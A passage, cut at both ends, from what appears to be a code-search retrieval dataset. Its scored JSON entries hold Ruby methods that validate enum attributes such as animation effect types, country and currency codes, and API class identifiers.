one of #{validator.allowable_values}.\"\n end\n @nature_of_business = nature_of_business\n end",
"title": ""
},
{
"docid": "7bfae678a265eff1e17561c08eeaa7ee",
"score": "0.61418885",
"text": "def valid?\n type_validator = EnumAttributeValidator.new('String', ['Appear', 'CurveUpDown', 'Ascend', 'Blast', 'Blinds', 'Blink', 'BoldFlash', 'BoldReveal', 'Boomerang', 'Bounce', 'Box', 'BrushOnColor', 'BrushOnUnderline', 'CenterRevolve', 'ChangeFillColor', 'ChangeFont', 'ChangeFontColor', 'ChangeFontSize', 'ChangeFontStyle', 'ChangeLineColor', 'Checkerboard', 'Circle', 'ColorBlend', 'ColorTypewriter', 'ColorWave', 'ComplementaryColor', 'ComplementaryColor2', 'Compress', 'ContrastingColor', 'Crawl', 'Credits', 'Custom', 'Darken', 'Desaturate', 'Descend', 'Diamond', 'Dissolve', 'EaseInOut', 'Expand', 'Fade', 'FadedSwivel', 'FadedZoom', 'FlashBulb', 'FlashOnce', 'Flicker', 'Flip', 'Float', 'Fly', 'Fold', 'Glide', 'GrowAndTurn', 'GrowShrink', 'GrowWithColor', 'Lighten', 'LightSpeed', 'MediaPause', 'MediaPlay', 'MediaStop', 'Path4PointStar', 'Path5PointStar', 'Path6PointStar', 'Path8PointStar', 'PathArcDown', 'PathArcLeft', 'PathArcRight', 'PathArcUp', 'PathBean', 'PathBounceLeft', 'PathBounceRight', 'PathBuzzsaw', 'PathCircle', 'PathCrescentMoon', 'PathCurvedSquare', 'PathCurvedX', 'PathCurvyLeft', 'PathCurvyRight', 'PathCurvyStar', 'PathDecayingWave', 'PathDiagonalDownRight', 'PathDiagonalUpRight', 'PathDiamond', 'PathDown', 'PathEqualTriangle', 'PathFigure8Four', 'PathFootball', 'PathFunnel', 'PathHeart', 'PathHeartbeat', 'PathHexagon', 'PathHorizontalFigure8', 'PathInvertedSquare', 'PathInvertedTriangle', 'PathLeft', 'PathLoopdeLoop', 'PathNeutron', 'PathOctagon', 'PathParallelogram', 'PathPeanut', 'PathPentagon', 'PathPlus', 'PathPointyStar', 'PathRight', 'PathRightTriangle', 'PathSCurve1', 'PathSCurve2', 'PathSineWave', 'PathSpiralLeft', 'PathSpiralRight', 'PathSpring', 'PathSquare', 'PathStairsDown', 'PathSwoosh', 'PathTeardrop', 'PathTrapezoid', 'PathTurnDown', 'PathTurnRight', 'PathTurnUp', 'PathTurnUpRight', 'PathUp', 'PathUser', 'PathVerticalFigure8', 'PathWave', 'PathZigzag', 'Peek', 'Pinwheel', 'Plus', 'RandomBars', 'RandomEffects', 'RiseUp', 'Shimmer', 'Sling', 'Spin', 'Spinner', 'Spiral', 'Split', 'Stretch', 'Strips', 'StyleEmphasis', 'Swish', 'Swivel', 'Teeter', 'Thread', 'Transparency', 'Unfold', 'VerticalGrow', 'Wave', 'Wedge', 'Wheel', 'Whip', 'Wipe', 'Magnify', 'Zoom', 'OLEObjectShow', 'OLEObjectEdit', 'OLEObjectOpen'])\n return false unless type_validator.valid?(@type)\n subtype_validator = EnumAttributeValidator.new('String', ['None', 'Across', 'Bottom', 'BottomLeft', 'BottomRight', 'Center', 'Clockwise', 'CounterClockwise', 'GradualAndCycleClockwise', 'GradualAndCycleCounterClockwise', 'Down', 'DownLeft', 'DownRight', 'FontAllCaps', 'FontBold', 'FontItalic', 'FontShadow', 'FontStrikethrough', 'FontUnderline', 'Gradual', 'Horizontal', 'HorizontalIn', 'HorizontalOut', 'In', 'InBottom', 'InCenter', 'InSlightly', 'Instant', 'Left', 'OrdinalMask', 'Out', 'OutBottom', 'OutCenter', 'OutSlightly', 'Right', 'Slightly', 'Top', 'TopLeft', 'TopRight', 'Up', 'UpLeft', 'UpRight', 'Vertical', 'VerticalIn', 'VerticalOut', 'Wheel1', 'Wheel2', 'Wheel3', 'Wheel4', 'Wheel8'])\n return false unless subtype_validator.valid?(@subtype)\n preset_class_type_validator = EnumAttributeValidator.new('String', ['Entrance', 'Exit', 'Emphasis', 'Path', 'MediaCall', 'OLEActionVerbs'])\n return false unless preset_class_type_validator.valid?(@preset_class_type)\n return false if @shape_index.nil?\n trigger_type_validator = EnumAttributeValidator.new('String', ['AfterPrevious', 'OnClick', 'WithPrevious'])\n return false unless trigger_type_validator.valid?(@trigger_type)\n restart_validator = EnumAttributeValidator.new('String', ['Always', 'WhenNotActive', 'Never', 'NotDefined'])\n return false unless restart_validator.valid?(@restart)\n after_animation_type_validator = EnumAttributeValidator.new('String', ['DoNotDim', 'Color', 'HideAfterAnimation', 'HideOnNextMouseClick'])\n return false unless after_animation_type_validator.valid?(@after_animation_type)\n true\n end",
"title": ""
},
{
"docid": "9a4ca131cd09e0a484d4f7e59c03f493",
"score": "0.5809922",
"text": "def enum_attr?(name)\n return false unless @enum_attrs\n @enum_attrs.key?(name)\n end",
"title": ""
},
{
"docid": "2ec49776d78d21ab22c5f6abf9205423",
"score": "0.57507086",
"text": "def classy_enum_attr(attribute, options={})\n enum = (options[:class_name] || options[:enum] || attribute).to_s.camelize.constantize\n allow_blank = options[:allow_blank] || false\n allow_nil = options[:allow_nil] || false\n default = ClassyEnum._normalize_default(options[:default], enum)\n\n # Add ActiveRecord validation to ensure it won't be saved unless it's an option\n validates_inclusion_of attribute,\n in: enum,\n allow_blank: allow_blank,\n allow_nil: allow_nil\n\n # Use a module so that the reader methods can be overridden in classes and\n # use super to get the enum value.\n mod = Module.new do\n\n # Define getter method that returns a ClassyEnum instance\n define_method attribute do\n enum.build(read_attribute(attribute), owner: self)\n end\n\n # Define setter method that accepts string, symbol, instance or class for member\n define_method \"#{attribute}=\" do |value|\n value = ClassyEnum._normalize_value(value, default, (allow_nil || allow_blank))\n super(value)\n end\n\n define_method :save_changed_attribute do |attr_name, arg|\n if attribute.to_s == attr_name.to_s && !attribute_changed?(attr_name)\n arg = enum.build(arg)\n current_value = clone_attribute_value(:read_attribute, attr_name)\n\n if arg != current_value\n if respond_to?(:set_attribute_was, true)\n set_attribute_was(attr_name, enum.build(arg, owner: self))\n else\n changed_attributes[attr_name] = enum.build(current_value, owner: self)\n end\n end\n else\n super(attr_name, arg)\n end\n end\n end\n\n include mod\n\n # Initialize the object with the default value if it is present\n # because this will let you store the default value in the\n # database and make it searchable.\n if default.present?\n after_initialize do\n value = read_attribute(attribute)\n\n if (value.blank? && !(allow_blank || allow_nil)) || (value.nil? && !allow_nil)\n send(\"#{attribute}=\", default)\n end\n end\n end\n\n end",
"title": ""
},
{
"docid": "5e395e619219a91208346fffe6d60ab5",
"score": "0.5743216",
"text": "def is_enum_param(name)\n [\"bookmarkType\", \"order\", \"role\"].include?(name)\n end",
"title": ""
},
{
"docid": "5d8eb84436220f806eb50c8a0bc66867",
"score": "0.5736045",
"text": "def valid?\n ENUM.include? @type.downcase.to_sym\n end",
"title": ""
},
{
"docid": "01ae05766f20de61607b667fad9a6158",
"score": "0.5708027",
"text": "def type=(type)\n validator = EnumAttributeValidator.new('String', ['Appear', 'CurveUpDown', 'Ascend', 'Blast', 'Blinds', 'Blink', 'BoldFlash', 'BoldReveal', 'Boomerang', 'Bounce', 'Box', 'BrushOnColor', 'BrushOnUnderline', 'CenterRevolve', 'ChangeFillColor', 'ChangeFont', 'ChangeFontColor', 'ChangeFontSize', 'ChangeFontStyle', 'ChangeLineColor', 'Checkerboard', 'Circle', 'ColorBlend', 'ColorTypewriter', 'ColorWave', 'ComplementaryColor', 'ComplementaryColor2', 'Compress', 'ContrastingColor', 'Crawl', 'Credits', 'Custom', 'Darken', 'Desaturate', 'Descend', 'Diamond', 'Dissolve', 'EaseInOut', 'Expand', 'Fade', 'FadedSwivel', 'FadedZoom', 'FlashBulb', 'FlashOnce', 'Flicker', 'Flip', 'Float', 'Fly', 'Fold', 'Glide', 'GrowAndTurn', 'GrowShrink', 'GrowWithColor', 'Lighten', 'LightSpeed', 'MediaPause', 'MediaPlay', 'MediaStop', 'Path4PointStar', 'Path5PointStar', 'Path6PointStar', 'Path8PointStar', 'PathArcDown', 'PathArcLeft', 'PathArcRight', 'PathArcUp', 'PathBean', 'PathBounceLeft', 'PathBounceRight', 'PathBuzzsaw', 'PathCircle', 'PathCrescentMoon', 'PathCurvedSquare', 'PathCurvedX', 'PathCurvyLeft', 'PathCurvyRight', 'PathCurvyStar', 'PathDecayingWave', 'PathDiagonalDownRight', 'PathDiagonalUpRight', 'PathDiamond', 'PathDown', 'PathEqualTriangle', 'PathFigure8Four', 'PathFootball', 'PathFunnel', 'PathHeart', 'PathHeartbeat', 'PathHexagon', 'PathHorizontalFigure8', 'PathInvertedSquare', 'PathInvertedTriangle', 'PathLeft', 'PathLoopdeLoop', 'PathNeutron', 'PathOctagon', 'PathParallelogram', 'PathPeanut', 'PathPentagon', 'PathPlus', 'PathPointyStar', 'PathRight', 'PathRightTriangle', 'PathSCurve1', 'PathSCurve2', 'PathSineWave', 'PathSpiralLeft', 'PathSpiralRight', 'PathSpring', 'PathSquare', 'PathStairsDown', 'PathSwoosh', 'PathTeardrop', 'PathTrapezoid', 'PathTurnDown', 'PathTurnRight', 'PathTurnUp', 'PathTurnUpRight', 'PathUp', 'PathUser', 'PathVerticalFigure8', 'PathWave', 'PathZigzag', 'Peek', 'Pinwheel', 'Plus', 'RandomBars', 'RandomEffects', 'RiseUp', 'Shimmer', 'Sling', 'Spin', 'Spinner', 'Spiral', 'Split', 'Stretch', 'Strips', 'StyleEmphasis', 'Swish', 'Swivel', 'Teeter', 'Thread', 'Transparency', 'Unfold', 'VerticalGrow', 'Wave', 'Wedge', 'Wheel', 'Whip', 'Wipe', 'Magnify', 'Zoom', 'OLEObjectShow', 'OLEObjectEdit', 'OLEObjectOpen'])\n unless validator.valid?(type)\n fail ArgumentError, 'invalid value for \"type\", must be one of #{validator.allowable_values}.'\n end\n @type = type\n end",
"title": ""
},
{
"docid": "32aca728dc2aa7b5684e66efae126019",
"score": "0.57014966",
"text": "def set_enum_attrs(subset)\n raise ArgumentError, \"attrs is not a proper subset of available values\" unless subset.all? { |attr| attrs.include? attr }\n @enum_attrs = subset\n end",
"title": ""
},
{
"docid": "ef543a39cb61fc92dc80acd0cd8c67da",
"score": "0.56777334",
"text": "def country=(country)\n validator = EnumAttributeValidator.new('String', [\"ZZ\", \"AD\", \"AE\", \"AF\", \"AG\", \"AI\", \"AL\", \"AM\", \"AO\", \"AQ\", \"AR\", \"AS\", \"AT\", \"AU\", \"AW\", \"AX\", \"AZ\", \"BA\", \"BB\", \"BD\", \"BE\", \"BF\", \"BG\", \"BH\", \"BI\", \"BJ\", \"BL\", \"BM\", \"BN\", \"BO\", \"BQ\", \"BR\", \"BS\", \"BT\", \"BV\", \"BW\", \"BY\", \"BZ\", \"CA\", \"CC\", \"CD\", \"CF\", \"CG\", \"CH\", \"CI\", \"CK\", \"CL\", \"CM\", \"CN\", \"CO\", \"CR\", \"CU\", \"CV\", \"CW\", \"CX\", \"CY\", \"CZ\", \"DE\", \"DJ\", \"DK\", \"DM\", \"DO\", \"DZ\", \"EC\", \"EE\", \"EG\", \"EH\", \"ER\", \"ES\", \"ET\", \"FI\", \"FJ\", \"FK\", \"FM\", \"FO\", \"FR\", \"GA\", \"GB\", \"GD\", \"GE\", \"GF\", \"GG\", \"GH\", \"GI\", \"GL\", \"GM\", \"GN\", \"GP\", \"GQ\", \"GR\", \"GS\", \"GT\", \"GU\", \"GW\", \"GY\", \"HK\", \"HM\", \"HN\", \"HR\", \"HT\", \"HU\", \"ID\", \"IE\", \"IL\", \"IM\", \"IN\", \"IO\", \"IQ\", \"IR\", \"IS\", \"IT\", \"JE\", \"JM\", \"JO\", \"JP\", \"KE\", \"KG\", \"KH\", \"KI\", \"KM\", \"KN\", \"KP\", \"KR\", \"KW\", \"KY\", \"KZ\", \"LA\", \"LB\", \"LC\", \"LI\", \"LK\", \"LR\", \"LS\", \"LT\", \"LU\", \"LV\", \"LY\", \"MA\", \"MC\", \"MD\", \"ME\", \"MF\", \"MG\", \"MH\", \"MK\", \"ML\", \"MM\", \"MN\", \"MO\", \"MP\", \"MQ\", \"MR\", \"MS\", \"MT\", \"MU\", \"MV\", \"MW\", \"MX\", \"MY\", \"MZ\", \"NA\", \"NC\", \"NE\", \"NF\", \"NG\", \"NI\", \"NL\", \"NO\", \"NP\", \"NR\", \"NU\", \"NZ\", \"OM\", \"PA\", \"PE\", \"PF\", \"PG\", \"PH\", \"PK\", \"PL\", \"PM\", \"PN\", \"PR\", \"PS\", \"PT\", \"PW\", \"PY\", \"QA\", \"RE\", \"RO\", \"RS\", \"RU\", \"RW\", \"SA\", \"SB\", \"SC\", \"SD\", \"SE\", \"SG\", \"SH\", \"SI\", \"SJ\", \"SK\", \"SL\", \"SM\", \"SN\", \"SO\", \"SR\", \"SS\", \"ST\", \"SV\", \"SX\", \"SY\", \"SZ\", \"TC\", \"TD\", \"TF\", \"TG\", \"TH\", \"TJ\", \"TK\", \"TL\", \"TM\", \"TN\", \"TO\", \"TR\", \"TT\", \"TV\", \"TW\", \"TZ\", \"UA\", \"UG\", \"UM\", \"US\", \"UY\", \"UZ\", \"VA\", \"VC\", \"VE\", \"VG\", \"VI\", \"VN\", \"VU\", \"WF\", \"WS\", \"YE\", \"YT\", \"ZA\", \"ZM\", \"ZW\"])\n unless validator.valid?(country)\n fail ArgumentError, \"invalid value for 'country', must be one of #{validator.allowable_values}.\"\n end\n @country = country\n end",
"title": ""
},
{
"docid": "d5da2fed1c88e6216b3b7c424e2c0435",
"score": "0.5601988",
"text": "def check_option!(name, definition)\n case name\n when :values\n raise AttributorException, \"Allowed set of values requires an array. Got (#{definition})\" unless definition.is_a? ::Array\n when :default\n raise AttributorException, \"Default value doesn't have the correct attribute type. Got (#{definition.inspect})\" unless type.valid_type?(definition) || definition.is_a?(Proc)\n options[:default] = load(definition) unless definition.is_a?(Proc)\n when :description\n raise AttributorException, \"Description value must be a string. Got (#{definition})\" unless definition.is_a? ::String\n when :required\n raise AttributorException, 'Required must be a boolean' unless definition == true || definition == false\n raise AttributorException, 'Required cannot be enabled in combination with :default' if definition == true && options.key?(:default)\n when :required_if\n raise AttributorException, 'Required_if must be a String, a Hash definition or a Proc' unless definition.is_a?(::String) || definition.is_a?(::Hash) || definition.is_a?(::Proc)\n raise AttributorException, 'Required_if cannot be specified together with :required' if options[:required]\n when :example\n unless definition.is_a?(::Regexp) || definition.is_a?(::String) || definition.is_a?(::Array) || definition.is_a?(::Proc) || definition.nil? || type.valid_type?(definition)\n raise AttributorException, \"Invalid example type (got: #{definition.class.name}). It must always match the type of the attribute (except if passing Regex that is allowed for some types)\"\n end\n when :custom_data\n raise AttributorException, \"custom_data must be a Hash. Got (#{definition})\" unless definition.is_a?(::Hash)\n else\n return :unknown # unknown option\n end\n\n :ok # passes\n end",
"title": ""
},
{
"docid": "2ff40e55efb8cb9a847f91dde056f8a1",
"score": "0.55947953",
"text": "def define_active_enum_write_method(attribute)\n class_eval <<-DEF\n def #{attribute}=(arg)\n if arg.is_a?(Symbol)\n super(self.class.active_enum_for(:#{attribute})[arg])\n else\n super\n end\n end\n DEF\n end",
"title": ""
},
{
"docid": "2dd2524cbabda42bd3e3516243852b91",
"score": "0.55464065",
"text": "def check_enum(validation:, key:, schema:)\n return false if !validation[:required] && schema.nil? # Optional and not here, dont check\n return false unless validation[:values]\n return false if validation[:values].include?(schema)\n\n schema = 'nothing' if schema.nil?\n error! key, \"must be one of #{validation[:values].join(', ')}, but was #{schema}\"\n true\n end",
"title": ""
},
{
"docid": "36b1f9f5ca30c5b954d7b2a8e70fd531",
"score": "0.55371004",
"text": "def should_allow_values_for(attribute, *good_values)\n get_options!(good_values)\n good_values.each do |value|\n matcher = allow_value(value).for(attribute)\n should matcher.description do\n assert_accepts matcher, subject\n end\n end\n end",
"title": ""
},
{
"docid": "783341e607312dfeedf41ec376f6cc01",
"score": "0.55344343",
"text": "def validate_exclusion_of(attr); end",
"title": ""
},
{
"docid": "e8eb54d3ebfe60d7acf8f1c923d63747",
"score": "0.5528221",
"text": "def valid_attribute_types\n\t\treturn self.must_attribute_types |\n\t\t self.may_attribute_types |\n\t\t self.operational_attribute_types\n\tend",
"title": ""
},
{
"docid": "ba396369e0961def5f7c21ef8eaf53d2",
"score": "0.5434983",
"text": "def valid?\n status_validator = EnumAttributeValidator.new('String', [\"ACTIVE\", \"INACTIVE\"])\n return false unless status_validator.valid?(@status)\n country_validator = EnumAttributeValidator.new('String', [\"ZZ\", \"AD\", \"AE\", \"AF\", \"AG\", \"AI\", \"AL\", \"AM\", \"AO\", \"AQ\", \"AR\", \"AS\", \"AT\", \"AU\", \"AW\", \"AX\", \"AZ\", \"BA\", \"BB\", \"BD\", \"BE\", \"BF\", \"BG\", \"BH\", \"BI\", \"BJ\", \"BL\", \"BM\", \"BN\", \"BO\", \"BQ\", \"BR\", \"BS\", \"BT\", \"BV\", \"BW\", \"BY\", \"BZ\", \"CA\", \"CC\", \"CD\", \"CF\", \"CG\", \"CH\", \"CI\", \"CK\", \"CL\", \"CM\", \"CN\", \"CO\", \"CR\", \"CU\", \"CV\", \"CW\", \"CX\", \"CY\", \"CZ\", \"DE\", \"DJ\", \"DK\", \"DM\", \"DO\", \"DZ\", \"EC\", \"EE\", \"EG\", \"EH\", \"ER\", \"ES\", \"ET\", \"FI\", \"FJ\", \"FK\", \"FM\", \"FO\", \"FR\", \"GA\", \"GB\", \"GD\", \"GE\", \"GF\", \"GG\", \"GH\", \"GI\", \"GL\", \"GM\", \"GN\", \"GP\", \"GQ\", \"GR\", \"GS\", \"GT\", \"GU\", \"GW\", \"GY\", \"HK\", \"HM\", \"HN\", \"HR\", \"HT\", \"HU\", \"ID\", \"IE\", \"IL\", \"IM\", \"IN\", \"IO\", \"IQ\", \"IR\", \"IS\", \"IT\", \"JE\", \"JM\", \"JO\", \"JP\", \"KE\", \"KG\", \"KH\", \"KI\", \"KM\", \"KN\", \"KP\", \"KR\", \"KW\", \"KY\", \"KZ\", \"LA\", \"LB\", \"LC\", \"LI\", \"LK\", \"LR\", \"LS\", \"LT\", \"LU\", \"LV\", \"LY\", \"MA\", \"MC\", \"MD\", \"ME\", \"MF\", \"MG\", \"MH\", \"MK\", \"ML\", \"MM\", \"MN\", \"MO\", \"MP\", \"MQ\", \"MR\", \"MS\", \"MT\", \"MU\", \"MV\", \"MW\", \"MX\", \"MY\", \"MZ\", \"NA\", \"NC\", \"NE\", \"NF\", \"NG\", \"NI\", \"NL\", \"NO\", \"NP\", \"NR\", \"NU\", \"NZ\", \"OM\", \"PA\", \"PE\", \"PF\", \"PG\", \"PH\", \"PK\", \"PL\", \"PM\", \"PN\", \"PR\", \"PS\", \"PT\", \"PW\", \"PY\", \"QA\", \"RE\", \"RO\", \"RS\", \"RU\", \"RW\", \"SA\", \"SB\", \"SC\", \"SD\", \"SE\", \"SG\", \"SH\", \"SI\", \"SJ\", \"SK\", \"SL\", \"SM\", \"SN\", \"SO\", \"SR\", \"SS\", \"ST\", \"SV\", \"SX\", \"SY\", \"SZ\", \"TC\", \"TD\", \"TF\", \"TG\", \"TH\", \"TJ\", \"TK\", \"TL\", \"TM\", \"TN\", \"TO\", \"TR\", \"TT\", \"TV\", \"TW\", \"TZ\", \"UA\", \"UG\", \"UM\", \"US\", \"UY\", \"UZ\", \"VA\", \"VC\", \"VE\", \"VG\", \"VI\", \"VN\", \"VU\", \"WF\", \"WS\", \"YE\", \"YT\", \"ZA\", \"ZM\", \"ZW\"])\n return false unless country_validator.valid?(@country)\n currency_validator = EnumAttributeValidator.new('String', [\"UNKNOWN_CURRENCY\", \"AED\", \"AFN\", \"ALL\", \"AMD\", \"ANG\", \"AOA\", \"ARS\", \"AUD\", \"AWG\", \"AZN\", \"BAM\", \"BBD\", \"BDT\", \"BGN\", \"BHD\", \"BIF\", \"BMD\", \"BND\", \"BOB\", \"BOV\", \"BRL\", \"BSD\", \"BTN\", \"BWP\", \"BYR\", \"BZD\", \"CAD\", \"CDF\", \"CHE\", \"CHF\", \"CHW\", \"CLF\", \"CLP\", \"CNY\", \"COP\", \"COU\", \"CRC\", \"CUC\", \"CUP\", \"CVE\", \"CZK\", \"DJF\", \"DKK\", \"DOP\", \"DZD\", \"EGP\", \"ERN\", \"ETB\", \"EUR\", \"FJD\", \"FKP\", \"GBP\", \"GEL\", \"GHS\", \"GIP\", \"GMD\", \"GNF\", \"GTQ\", \"GYD\", \"HKD\", \"HNL\", \"HRK\", \"HTG\", \"HUF\", \"IDR\", \"ILS\", \"INR\", \"IQD\", \"IRR\", \"ISK\", \"JMD\", \"JOD\", \"JPY\", \"KES\", \"KGS\", \"KHR\", \"KMF\", \"KPW\", \"KRW\", \"KWD\", \"KYD\", \"KZT\", \"LAK\", \"LBP\", \"LKR\", \"LRD\", \"LSL\", \"LTL\", \"LVL\", \"LYD\", \"MAD\", \"MDL\", \"MGA\", \"MKD\", \"MMK\", \"MNT\", \"MOP\", \"MRO\", \"MUR\", \"MVR\", \"MWK\", \"MXN\", \"MXV\", \"MYR\", \"MZN\", \"NAD\", \"NGN\", \"NIO\", \"NOK\", \"NPR\", \"NZD\", \"OMR\", \"PAB\", \"PEN\", \"PGK\", \"PHP\", \"PKR\", \"PLN\", \"PYG\", \"QAR\", \"RON\", \"RSD\", \"RUB\", \"RWF\", \"SAR\", \"SBD\", \"SCR\", \"SDG\", \"SEK\", \"SGD\", \"SHP\", \"SLL\", \"SOS\", \"SRD\", \"SSP\", \"STD\", \"SVC\", \"SYP\", \"SZL\", \"THB\", \"TJS\", \"TMT\", \"TND\", \"TOP\", \"TRY\", \"TTD\", \"TWD\", \"TZS\", \"UAH\", \"UGX\", \"USD\", \"USN\", \"USS\", \"UYI\", \"UYU\", \"UZS\", \"VEF\", \"VND\", \"VUV\", \"WST\", \"XAF\", \"XAG\", \"XAU\", \"XBA\", \"XBB\", \"XBC\", \"XBD\", \"XCD\", \"XDR\", \"XOF\", \"XPD\", \"XPF\", \"XPT\", \"XTS\", \"XXX\", \"YER\", \"ZAR\", \"ZMK\", \"ZMW\", \"BTC\"])\n return false unless currency_validator.valid?(@currency)\n type_validator = EnumAttributeValidator.new('String', [\"PHYSICAL\", \"MOBILE\"])\n return false unless type_validator.valid?(@type)\n return true\n end",
"title": ""
},
{
"docid": "5aa41aab2e0a4e7df65e6424415564b8",
"score": "0.54312384",
"text": "def update_allowed_values\n self.url_allowed = true if url_required\n self.description_allowed = true if description_required\n self.title_allowed = true if title_required\n\n TagSet::TAG_TYPES.each do |tag_type|\n required = eval(\"#{tag_type}_num_required\") || eval(\"self.#{tag_type}_num_required\") || 0\n allowed = eval(\"#{tag_type}_num_allowed\") || eval(\"self.#{tag_type}_num_allowed\") || 0\n if required > allowed\n eval(\"self.#{tag_type}_num_allowed = required\")\n end\n end\n end",
"title": ""
},
{
"docid": "7ff664ed667045d39b3260cd6a0d3a40",
"score": "0.5418137",
"text": "def test_valid?\n assert_raise( RuntimeError ) { Tui::Model::Enum.new( 'lab1', { }, 1 ) }\n base = Tui::Model::Enum.new( 'lab1', { 'val1' => '1', 'val99' => '99' }, 'val99' )\n assert_false base.valid?( 1 )\n assert_true base.valid?( \"val1\" )\n ex = assert_raise( RuntimeError ) { base.value = 1; }\n assert_equal( 'Invalid value for model type Tui::Model::Enum!', ex.message )\n end",
"title": ""
},
{
"docid": "56e896af4b3de46539f2a445a1f2ae82",
"score": "0.5379602",
"text": "def validate_may_attributes\n\t\thash = (self.entry || {} ).merge( @values )\n\t\tattributes = hash.keys.map( &:to_sym ).uniq\n\t\tvalid_attributes = self.valid_attribute_oids +\n\t\t\tself.operational_attribute_oids +\n\t\t\tIGNORED_OPERATIONAL_ATTRS\n\n\t\tself.log.debug \"Validating MAY attributes: %p against the list of valid OIDs: %p\" %\n\t\t\t[ attributes, valid_attributes ]\n\t\tunknown_attributes = attributes - valid_attributes\n\t\tunknown_attributes.each do |oid|\n\t\t\tself.errors.add( oid, \"is not allowed by entry's objectClasses\" )\n\t\tend\n\tend",
"title": ""
},
{
"docid": "ac55752dd9cc4f485a916c46d7b41237",
"score": "0.53794384",
"text": "def allowed_attributes=(_arg0); end",
"title": ""
},
{
"docid": "ac55752dd9cc4f485a916c46d7b41237",
"score": "0.53794384",
"text": "def allowed_attributes=(_arg0); end",
"title": ""
},
{
"docid": "91c8cba712c18d00879c543b2686cf75",
"score": "0.53653747",
"text": "def validate_range(key, value, enum_values)\n values = value.instance_of?(Array) ? value : [value]\n values.each do |v|\n add_templated_error(key, \"'#{v}' is not a valid setting for '#{template.name_for(key)}'\") unless enum_values.include?(v)\n end\n end",
"title": ""
},
{
"docid": "bdf28e68ba6dab72ee9b580bb965b3f3",
"score": "0.53513694",
"text": "def valid?\n return false if @class_id.nil?\n class_id_validator = EnumAttributeValidator.new('String', [\"aaa.AuditRecord\", \"aaa.RetentionConfig\", \"aaa.RetentionPolicy\", \"access.Policy\", \"adapter.ConfigPolicy\", \"adapter.ExtEthInterface\", \"adapter.HostEthInterface\", \"adapter.HostFcInterface\", \"adapter.HostIscsiInterface\", \"adapter.Unit\", \"adapter.UnitExpander\", \"appliance.AppStatus\", \"appliance.AutoRmaPolicy\", \"appliance.Backup\", \"appliance.BackupPolicy\", \"appliance.CertificateSetting\", \"appliance.DataExportPolicy\", \"appliance.DeviceCertificate\", \"appliance.DeviceClaim\", \"appliance.DeviceUpgradePolicy\", \"appliance.DiagSetting\", \"appliance.ExternalSyslogSetting\", \"appliance.FileGateway\", \"appliance.FileSystemStatus\", \"appliance.GroupStatus\", \"appliance.ImageBundle\", \"appliance.NodeInfo\", \"appliance.NodeStatus\", \"appliance.ReleaseNote\", \"appliance.RemoteFileImport\", \"appliance.Restore\", \"appliance.SetupInfo\", \"appliance.SystemInfo\", \"appliance.SystemStatus\", \"appliance.Upgrade\", \"appliance.UpgradePolicy\", \"asset.ClusterMember\", \"asset.Deployment\", \"asset.DeploymentDevice\", \"asset.DeviceClaim\", \"asset.DeviceConfiguration\", \"asset.DeviceConnectorManager\", \"asset.DeviceContractInformation\", \"asset.DeviceRegistration\", \"asset.Subscription\", \"asset.SubscriptionAccount\", \"asset.SubscriptionDeviceContractInformation\", \"asset.Target\", \"bios.BootDevice\", \"bios.BootMode\", \"bios.Policy\", \"bios.SystemBootOrder\", \"bios.TokenSettings\", \"bios.Unit\", \"bios.VfSelectMemoryRasConfiguration\", \"boot.CddDevice\", \"boot.DeviceBootMode\", \"boot.DeviceBootSecurity\", \"boot.HddDevice\", \"boot.IscsiDevice\", \"boot.NvmeDevice\", \"boot.PchStorageDevice\", \"boot.PrecisionPolicy\", \"boot.PxeDevice\", \"boot.SanDevice\", \"boot.SdDevice\", \"boot.UefiShellDevice\", \"boot.UsbDevice\", \"boot.VmediaDevice\", \"bulk.Export\", \"bulk.ExportedItem\", \"bulk.MoCloner\", \"bulk.MoMerger\", \"bulk.Request\", \"bulk.SubRequestObj\", \"capability.AdapterUnitDescriptor\", \"capability.Catalog\", \"capability.ChassisDescriptor\", \"capability.ChassisManufacturingDef\", \"capability.CimcFirmwareDescriptor\", \"capability.EquipmentPhysicalDef\", \"capability.EquipmentSlotArray\", \"capability.FanModuleDescriptor\", \"capability.FanModuleManufacturingDef\", \"capability.IoCardCapabilityDef\", \"capability.IoCardDescriptor\", \"capability.IoCardManufacturingDef\", \"capability.PortGroupAggregationDef\", \"capability.PsuDescriptor\", \"capability.PsuManufacturingDef\", \"capability.ServerSchemaDescriptor\", \"capability.SiocModuleCapabilityDef\", \"capability.SiocModuleDescriptor\", \"capability.SiocModuleManufacturingDef\", \"capability.SwitchCapability\", \"capability.SwitchDescriptor\", \"capability.SwitchManufacturingDef\", \"certificatemanagement.Policy\", \"chassis.ConfigChangeDetail\", \"chassis.ConfigImport\", \"chassis.ConfigResult\", \"chassis.ConfigResultEntry\", \"chassis.IomProfile\", \"chassis.Profile\", \"cloud.AwsBillingUnit\", \"cloud.AwsKeyPair\", \"cloud.AwsNetworkInterface\", \"cloud.AwsOrganizationalUnit\", \"cloud.AwsSecurityGroup\", \"cloud.AwsSubnet\", \"cloud.AwsVirtualMachine\", \"cloud.AwsVolume\", \"cloud.AwsVpc\", \"cloud.CollectInventory\", \"cloud.Regions\", \"cloud.SkuContainerType\", \"cloud.SkuDatabaseType\", \"cloud.SkuInstanceType\", \"cloud.SkuNetworkType\", \"cloud.SkuRegionRateCards\", \"cloud.SkuVolumeType\", \"cloud.TfcAgentpool\", \"cloud.TfcOrganization\", \"cloud.TfcWorkspace\", \"comm.HttpProxyPolicy\", \"compute.BiosPostPolicy\", \"compute.Blade\", \"compute.BladeIdentity\", \"compute.Board\", \"compute.Mapping\", \"compute.PhysicalSummary\", \"compute.RackUnit\", \"compute.RackUnitIdentity\", \"compute.ServerPowerPolicy\", \"compute.ServerSetting\", \"compute.Vmedia\", \"cond.Alarm\", \"cond.AlarmAggregation\", \"cond.HclStatus\", \"cond.HclStatusDetail\", \"cond.HclStatusJob\", \"connectorpack.ConnectorPackUpgrade\", \"connectorpack.UpgradeImpact\", \"convergedinfra.HealthCheckDefinition\", \"convergedinfra.HealthCheckExecution\", \"convergedinfra.Pod\", \"crd.CustomResource\", \"deviceconnector.Policy\", \"equipment.Chassis\", \"equipment.ChassisIdentity\", \"equipment.ChassisOperation\", \"equipment.DeviceSummary\", \"equipment.ExpanderModule\", \"equipment.Fan\", \"equipment.FanControl\", \"equipment.FanModule\", \"equipment.Fex\", \"equipment.FexIdentity\", \"equipment.FexOperation\", \"equipment.Fru\", \"equipment.IdentitySummary\", \"equipment.IoCard\", \"equipment.IoCardOperation\", \"equipment.IoExpander\", \"equipment.LocatorLed\", \"equipment.Psu\", \"equipment.PsuControl\", \"equipment.RackEnclosure\", \"equipment.RackEnclosureSlot\", \"equipment.SharedIoModule\", 